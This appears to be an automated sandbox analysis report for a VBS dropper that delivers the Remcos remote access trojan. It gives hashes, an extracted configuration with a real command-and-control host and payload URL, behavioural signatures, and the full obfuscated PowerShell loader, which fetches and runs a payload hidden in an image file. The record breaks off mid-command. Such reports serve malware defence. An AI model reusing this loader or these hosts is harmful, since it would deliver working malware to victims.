Analysis
-
max time kernel
119s -
max time network
115s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
13-08-2024 14:41
Static task
static1
Behavioral task
behavioral1
Sample
buttersmoothkitchenapparealssilk.vbs
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
buttersmoothkitchenapparealssilk.vbs
Resource
win10-20240404-en
Behavioral task
behavioral3
Sample
buttersmoothkitchenapparealssilk.vbs
Resource
win10v2004-20240802-en
Behavioral task
behavioral4
Sample
buttersmoothkitchenapparealssilk.vbs
Resource
win11-20240802-en
General
-
Target
buttersmoothkitchenapparealssilk.vbs
-
Size
113KB
-
MD5
76326ac1e6d011a8ebcba393ae837027
-
SHA1
7522980c1732232015f991e0acde8317662430a2
-
SHA256
898a32ace081284c9ac01b3a33a3b000abab7f4e207a6f8e1a7ae213e1e3cdf5
-
SHA512
829a7a45944a055ca9723e835319b1c919eb895c720c38040154aaf836184aea33a849e71f1b4a7cd9f191265f4cc0809de7ddc53a5cbd3c9b8eaf989e138e99
-
SSDEEP
1536:MkLcccOgt5pzwUGw3VUJW4Wrle/PhG+/kery+bG8:Xgt5pVGw3dS7b
Malware Config
Extracted
http://servidorwindows.ddns.com.br/Files/vbs.jpeg
http://servidorwindows.ddns.com.br/Files/vbs.jpeg
Extracted
remcos
RemoteHost
serversw.duckdns.org:6875
-
audio_folder
MicRecords
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
nert
-
keylog_path
%Temp%
-
mouse_option
false
-
mutex
Rmc-6K7C75
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
-
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid Process 15 4184 powershell.exe 49 4184 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
Processes:
powershell.exepowershell.exepid Process 2988 powershell.exe 4184 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc Process Key value queried \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation WScript.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid Process procid_target PID 4184 set thread context of 2416 4184 powershell.exe 105 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
RegAsm.exedescription ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RegAsm.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid Process 2988 powershell.exe 2988 powershell.exe 4184 powershell.exe 4184 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid Process Token: SeDebugPrivilege 2988 powershell.exe Token: SeDebugPrivilege 4184 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
RegAsm.exepid Process 2416 RegAsm.exe -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
WScript.exepowershell.exepowershell.exedescription pid Process procid_target PID 2304 wrote to memory of 2988 2304 WScript.exe 87 PID 2304 wrote to memory of 2988 2304 WScript.exe 87 PID 2988 wrote to memory of 4184 2988 powershell.exe 89 PID 2988 wrote to memory of 4184 2988 powershell.exe 89 PID 4184 wrote to memory of 2416 4184 powershell.exe 105 PID 4184 wrote to memory of 2416 4184 powershell.exe 105 PID 4184 wrote to memory of 2416 4184 powershell.exe 105 PID 4184 wrote to memory of 2416 4184 powershell.exe 105 PID 4184 wrote to memory of 2416 4184 powershell.exe 105 PID 4184 wrote to memory of 2416 4184 powershell.exe 105 PID 4184 wrote to memory of 2416 4184 powershell.exe 105 PID 4184 wrote to memory of 2416 4184 powershell.exe 105 PID 4184 wrote to memory of 2416 4184 powershell.exe 105 PID 4184 wrote to memory of 2416 4184 powershell.exe 105 PID 4184 wrote to memory of 2416 4184 powershell.exe 105 PID 4184 wrote to memory of 2416 4184 powershell.exe 105
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\buttersmoothkitchenapparealssilk.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2304 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J⫮ ≵ ₪ ㊎ ㆑Bs⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑bgBr⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑PQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Cc⫮ ≵ ₪ ㊎ ㆑a⫮ ≵ ₪ ㊎ ㆑B0⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑c⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑6⫮ ≵ ₪ ㊎ ㆑C8⫮ ≵ ₪ ㊎ ㆑LwBz⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑cgB2⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bv⫮ ≵ ₪ ㊎ ㆑HI⫮ ≵ ₪ ㊎ ㆑dwBp⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bv⫮ ≵ ₪ ㊎ ㆑Hc⫮ ≵ ₪ ㊎ ㆑cw⫮ ≵ ₪ ㊎ ㆑u⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bu⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑LgBj⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑bQ⫮ ≵ ₪ ㊎ ㆑u⫮ ≵ ₪ ㊎ ㆑GI⫮ ≵ ₪ ㊎ ㆑cg⫮ ≵ ₪ ㊎ ㆑v⫮ ≵ ₪ ㊎ ㆑EY⫮ ≵ ₪ ㊎ ㆑aQBs⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑cw⫮ ≵ ₪ ㊎ ㆑v⫮ ≵ ₪ ㊎ ㆑HY⫮ ≵ ₪ ㊎ ㆑YgBz⫮ ≵ ₪ ㊎ ㆑C4⫮ ≵ ₪ ㊎ ㆑agBw⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑Zw⫮ ≵ ₪ ㊎ ㆑n⫮ ≵ ₪ ㊎ ㆑Ds⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑Hc⫮ ≵ ₪ ㊎ ㆑ZQBi⫮ ≵ ₪ ㊎ ㆑EM⫮ ≵ ₪ ㊎ ㆑b⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑bgB0⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑PQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑E4⫮ ≵ ₪ ㊎ ㆑ZQB3⫮ ≵ ₪ ㊎ ㆑C0⫮ ≵ ₪ ㊎ ㆑TwBi⫮ ≵ ₪ ㊎ ㆑Go⫮ ≵ ₪ ㊎ ㆑ZQBj⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑BT⫮ ≵ ₪ ㊎ ㆑Hk⫮ ≵ ₪ ㊎ ㆑cwB0⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑bQ⫮ ≵ ₪ ㊎ ㆑u⫮ ≵ ₪ ㊎ ㆑E4⫮ ≵ ₪ ㊎ ㆑ZQB0⫮ ≵ ₪ ㊎ ㆑C4⫮ ≵ ₪ ㊎ ㆑VwBl⫮ ≵ ₪ ㊎ ㆑GI⫮ ≵ ₪ ㊎ ㆑QwBs⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑ZQBu⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑Ow⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑cgB5⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑ew⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bv⫮ ≵ ₪ ㊎ ㆑Hc⫮ ≵ ₪ ㊎ ㆑bgBs⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑YQBk⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑BE⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑PQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑dwBl⫮ ≵ ₪ ㊎ ㆑GI⫮ ≵ ₪ ㊎ ㆑QwBs⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑ZQBu⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑LgBE⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑dwBu⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑bwBh⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑R⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑YQ⫮ ≵ ₪ ㊎ ㆑o⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑b⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑aw⫮ ≵ ₪ ㊎ ㆑p⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑fQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑GM⫮ ≵ ₪ ㊎ ㆑YQB0⫮ ≵ ₪ ㊎ ㆑GM⫮ ≵ ₪ ㊎ ㆑a⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Hs⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑BX⫮ ≵ ₪ ㊎ ㆑HI⫮ ≵ ₪ ㊎ ㆑aQB0⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑LQBI⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑cwB0⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑JwBG⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑aQBs⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑FQ⫮ ≵ ₪ ㊎ ㆑bw⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑bwB3⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑b⫮ ≵ ₪ ㊎ ㆑Bv⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑YQB0⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑Bm⫮ ≵ ₪ ㊎ ㆑HI⫮ ≵ ₪ ㊎ ㆑bwBt⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bs⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑bgBr⫮ ≵ ₪ ㊎ ㆑Cc⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑t⫮ ≵ ₪ ㊎ ㆑EY⫮ ≵ ₪ ㊎ ㆑bwBy⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑ZwBy⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑dQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑QwBv⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑bwBy⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑UgBl⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑Ow⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑e⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑B9⫮ ≵ ₪ ㊎ ㆑Ds⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑GY⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑o⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bv⫮ ≵ ₪ ㊎ ㆑Hc⫮ ≵ ₪ ㊎ ㆑bgBs⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑YQBk⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑BE⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑LQBu⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑dQBs⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑KQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Hs⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑bQBh⫮ ≵ ₪ ㊎ ㆑Gc⫮ ≵ ₪ ㊎ ㆑ZQBU⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑e⫮ ≵ ₪ ㊎ ㆑B0⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑PQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Fs⫮ ≵ ₪ ㊎ ㆑UwB5⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑G0⫮ ≵ ₪ ㊎ ㆑LgBU⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑e⫮ ≵ ₪ ㊎ ㆑B0⫮ ≵ ₪ ㊎ ㆑C4⫮ ≵ ₪ ㊎ ㆑RQBu⫮ ≵ ₪ ㊎ ㆑GM⫮ ≵ ₪ ㊎ ㆑bwBk⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑bgBn⫮ ≵ ₪ ㊎ ㆑F0⫮ ≵ ₪ ㊎ ㆑Og⫮ ≵ ₪ ㊎ ㆑6⫮ ≵ ₪ ㊎ ㆑FU⫮ ≵ ₪ ㊎ ㆑V⫮ ≵ ₪ ㊎ ㆑BG⫮ ≵ ₪ ㊎ ㆑Dg⫮ ≵ ₪ ㊎ ㆑LgBH⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑BT⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑cgBp⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Zw⫮ ≵ ₪ ㊎ ㆑o⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bv⫮ ≵ ₪ ㊎ ㆑Hc⫮ ≵ ₪ ㊎ ㆑bgBs⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑YQBk⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑BE⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑Ck⫮ ≵ ₪ ㊎ ㆑Ow⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑cwB0⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑cgB0⫮ ≵ ₪ ㊎ ㆑EY⫮ ≵ ₪ ㊎ ㆑b⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑Gc⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑9⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑Jw⫮ ≵ ₪ ㊎ ㆑8⫮ ≵ ₪ ㊎ ㆑Dw⫮ ≵ ₪ ㊎ ㆑QgBB⫮ ≵ ₪ ㊎ ㆑FM⫮ ≵ ₪ ㊎ ㆑RQ⫮ ≵ ₪ ㊎ ㆑2⫮ ≵ ₪ ㊎ ㆑DQ⫮ ≵ ₪ ㊎ ㆑XwBT⫮ ≵ ₪ ㊎ ㆑FQ⫮ ≵ ₪ ㊎ ㆑QQBS⫮ ≵ ₪ ㊎ ㆑FQ⫮ ≵ ₪ ㊎ ㆑Pg⫮ ≵ ₪ ㊎ ㆑+⫮ ≵ ₪ ㊎ ㆑Cc⫮ ≵ ₪ ㊎ ㆑Ow⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑ZQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑RgBs⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑Zw⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑D0⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑n⫮ ≵ ₪ ㊎ ㆑Dw⫮ ≵ ₪ ㊎ ㆑P⫮ ≵ ₪ ㊎ ㆑BC⫮ ≵ ₪ ㊎ ㆑EE⫮ ≵ ₪ ㊎ ㆑UwBF⫮ ≵ ₪ ㊎ ㆑DY⫮ ≵ ₪ ㊎ ㆑N⫮ ≵ ₪ ㊎ ㆑Bf⫮ ≵ ₪ ㊎ ㆑EU⫮ ≵ ₪ ㊎ ㆑TgBE⫮ ≵ ₪ ㊎ ㆑D4⫮ ≵ ₪ ㊎ ㆑Pg⫮ ≵ ₪ ㊎ ㆑n⫮ ≵ ₪ ㊎ ㆑Ds⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑HI⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑BJ⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑Hg⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑9⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑G0⫮ ≵ ₪ ㊎ ㆑YQBn⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑V⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑Hg⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑u⫮ ≵ ₪ ㊎ ㆑Ek⫮ ≵ ₪ ㊎ ㆑bgBk⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑e⫮ ≵ ₪ ㊎ ㆑BP⫮ ≵ ₪ ㊎ ㆑GY⫮ ≵ ₪ ㊎ ㆑K⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑HI⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑BG⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑YQBn⫮ ≵ ₪ ㊎ ㆑Ck⫮ ≵ ₪ ㊎ ㆑Ow⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑ZQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑SQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑ZQB4⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑PQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑aQBt⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑ZwBl⫮ ≵ ₪ ㊎ ㆑FQ⫮ ≵ ₪ ㊎ ㆑ZQB4⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑LgBJ⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑Hg⫮ ≵ ₪ ㊎ ㆑TwBm⫮ ≵ ₪ ㊎ ㆑Cg⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑BG⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑YQBn⫮ ≵ ₪ ㊎ ㆑Ck⫮ ≵ ₪ ㊎ ㆑Ow⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑Zg⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Cg⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bz⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑YQBy⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑SQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑ZQB4⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑LQBn⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑w⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑LQBh⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑ZQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑SQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑ZQB4⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑LQBn⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑HI⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑BJ⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑Hg⫮ ≵ ₪ ㊎ ㆑KQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Hs⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑HI⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑BJ⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑Hg⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑r⫮ ≵ ₪ ㊎ ㆑D0⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑HI⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑BG⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑YQBn⫮ ≵ ₪ ㊎ ㆑C4⫮ ≵ ₪ ㊎ ㆑T⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑ZwB0⫮ ≵ 